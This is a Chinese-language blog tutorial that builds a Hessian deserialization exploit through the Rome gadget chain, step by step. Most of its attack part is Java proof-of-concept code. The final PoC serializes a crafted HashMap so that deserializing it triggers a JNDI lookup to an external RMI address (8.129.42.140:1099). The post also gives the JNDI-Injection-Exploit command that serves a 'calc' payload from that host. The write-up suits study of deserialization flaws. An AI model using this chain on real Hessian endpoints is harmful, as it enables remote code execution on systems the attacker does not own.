hessian的一条Gadgets – Rome 手写exp

hessian

参考miku的(●´3`●)やれやれだぜ (viewofthai.link)

和fmyyy的Hessian反序列化漏洞 - Twings (gitee.io)

简介

mikugiegie:

Hessian 是一个轻量级的 Java 反序列化框架,和 Java 原生的序列化类似,相比起来 Hessian 更加高效并且非常适合二进制数据传输。

简单理解就是hessian可以实现序列化功能,类似于fastjson。然后也有关于他的反序列化漏洞

环境搭建

hessianMaven Repository: com.caucho » hessian » 4.0.63 (mvnrepository.com)

<!-- https://mvnrepository.com/artifact/com.caucho/hessian -->
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>

image-20220419110210958

maven搭建

了解一下hessian序列化和反序列化

student.java

import java.io.Serializable;
public class Student implements Serializable {
private String name;
public static String hobby = "eat";
transient private String address;
public void setName(String name) {
this.name = name;
}
public static void setHobby(String hobby) {
Student.hobby = hobby;
}
public void setAddress(String address) {
this.address = address;
}
public String getName() {
return name;
}
public static String getHobby() {
return hobby;
}
public String getAddress() {
return address;
}
}

demo.java

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
public class demo {
public static void main(String[] args) throws Exception{
Student stu = new Student();
stu.setAddress("A");
stu.setName("thaiii");
//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(stu);
output.close();
//序列化结束
Student.hobby = "drink";
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
Student student = (Student) input.readObject();
//反序列化结束
System.out.println(student.getAddress());
System.out.println(student.getName());
System.out.println(stu.getHobby());
}
}

image-20220419111550535

结论: 静态属性不能被序列化 transient 关键字修饰的属性不能被序列化

了解一下hessian

image-20220419213031319

我们看一下Map的MapDeserializer.readMap

image-20220419213123521

put方法让我们想起之前cc6链子开头中的 put

image-20220419213346775

于是问题转化找到一条hashcode为开头的链子。

由于marshalsec 工具中已经集成了 Hessian 的 5 个 Gadgets,可以使用这个工具直接进行漏洞利用。

下面讲讲几条链子

Gadgets - Rome

依赖

<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.24</version>
</dependency>

链子

HashMap.put -> hash
EqualsBean.hashCode -> beanHashCode
ToStringBean.toString -> getter.invoke
JdbcRowSetImpl.getDatabaseMetaData -> connect
JNDI 注入

对照一下rome(yso版本)

image-20220420092925773

JdbcRowSetImpl.connect

image-20220420093203744

由于调用了lookup函数,如果参数可控的话可以用来打rmi,jndi链子

进入getDataSourceName

image-20220420093419284

查看dataSource

image-20220420093552726

注释说支持jndi等

我们回去找一下哪里调用了conncet

JdbcRowSetImpl.getDatabaseMetaData

看到了prepare,但是太长了

image-20220420095407516

看到了getDatabaseMetaData

public DatabaseMetaData getDatabaseMetaData() throws SQLException {
Connection var1 = this.connect();
return var1.getMetaData();
}

刚好是getter方法

找一下BaseRowSet的构造函数

image-20220420100037282

尽管这个没什么用,但是我们看到了这个setDataSourceName

image-20220420100211082

就可以构造链子了

先写个测试demo

import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://xxxxxx:xx/xxx");
jdbcRowSet.getDatabaseMetaData();
}
}

至于这个 rmi://xxxxxx:xx/xxx 可以使用工具https://github.com/welk1n/JNDI-Injection-Exploit/

开启1099,8180,1389,(尤其是前两个),在target目录下使用

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "8.129.42.140"

然后运行demo访问rmi

image-20220420110152503

ToStringBean.toString()

里面的有参方法有个invoke可以实现任意函数调用

之前说过

image-20220420113728401

也就是说可以类比一下,pReadMethod的name是getDatabaseMetaData,然后this._obj是JdbcRowSetImpl

poc1

import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
toStringbean.toString();
}
}

image-20220420114755504

equalsBean.hashCode

poc

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
// toStringbean.toString();
EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
equalsBean.hashCode();
}
}

image-20220420115956844

poc

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
// toStringbean.toString();
EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
// equalsBean.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(equalsBean, "bbb");
setValue(toStringbean, "_obj", jdbcRowSet);
// serialize(map);
// unserialize("ser.bin");
}
}

image-20220420120343464

序列化入口

hessai和别人不一样,文章开头说了,炮制一下

原本

//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(stu); //对象写在这
output.close();
//序列化结束
Student.hobby = "drink";
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
Student student = (Student) input.readObject();
//反序列化结束

炮制

//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map); //对象写在这
output.close();
//序列化结束
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
input.readObject();
//反序列化结束

最终poc

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import javax.sql.rowset.JdbcRowSet;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class demo {
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void main(String[] args) throws Exception{
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("rmi://8.129.42.140:1099/rqqz1p");
// jdbcRowSet.getDatabaseMetaData();
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, new JdbcRowSetImpl());
// toStringBean.toString();
EqualsBean equalsBean = new EqualsBean(toStringBean.getClass(), toStringBean);
// equalsBean.hashCode();
HashMap<Object,Object> map = new HashMap<>();
map.put(equalsBean, "bbb");
setValue(toStringBean, "obj", jdbcRowSet);
//序列化开始
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(map); //对象写在这
output.close();
//序列化结束
//反序列化开始
ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
Hessian2Input input = new Hessian2Input(bis);
input.readObject();
//反序列化结束
}
}

注意jdk版本差异,有时候_obj要改为obj,否则加载的时候会报错

image-20220420123341505

调试

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇